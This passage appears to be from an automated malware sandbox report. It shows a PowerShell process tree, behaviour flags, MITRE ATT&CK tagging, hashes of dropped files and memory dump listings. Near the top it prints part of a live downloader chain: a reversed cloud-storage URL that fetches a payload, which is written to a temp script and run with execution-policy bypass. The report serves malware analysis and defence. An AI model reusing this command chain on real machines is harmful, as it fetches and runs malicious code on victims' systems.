''e2622eb94959-848b-e5c4-04dc-e72e429d=nekot&aidem=tla?txt.loguh/o/moc.topsppa.8e7e8-soiranollom/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\06122024_1551_04122024_Historial-Declcaraciones-vencidas-2022-2023.js'' , ''D DDInstallUtil'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$aeDwU | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:596
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1332

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\52WCCM12RPLKNZO14Q5M.temp
    Filesize

    7KB

    MD5

    d6fb2b705eddab3aaa9a208a4526ec51

    SHA1

    9fa85f2f6cfac297070ce273c7d5bb6882fa9386

    SHA256

    cca811bb46b92f54cd4664b8b07292420938a0bad8c574040573cae487e3ec37

    SHA512

    d3767ea2d9fdd803dc85e114f9ea585b2d2260a24ac732d179e2377d09b7bb7215d657fd1ba413688d08f0cde71ece3d8a299755447e31ba3928c328e8d0179b

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    7c7410cd986a7fb2f2f077ec99b512fd

    SHA1

    16e65a8aebc7dafae50e257a48ef4d13ed74cbd5

    SHA256

    ef088f0ed3d00848311080e0b2c10f219e4aef09b27730cdd20d0954d61b3c58

    SHA512

    9ac20a709f4852b2ac339750663b1d9e51974d29a08100ee5c3658b2ef17cdf6322071672db9b3724d7823c35c0a133feab0f172f7eab2fbc67abad06d3c531b

    Download Submit

  • memory/2440-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

    Filesize

    4KB

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  • memory/2440-11-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-17-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

    Filesize

    4KB

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  • memory/2440-18-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2440-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2440-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

    Filesize

    2.9MB

    Download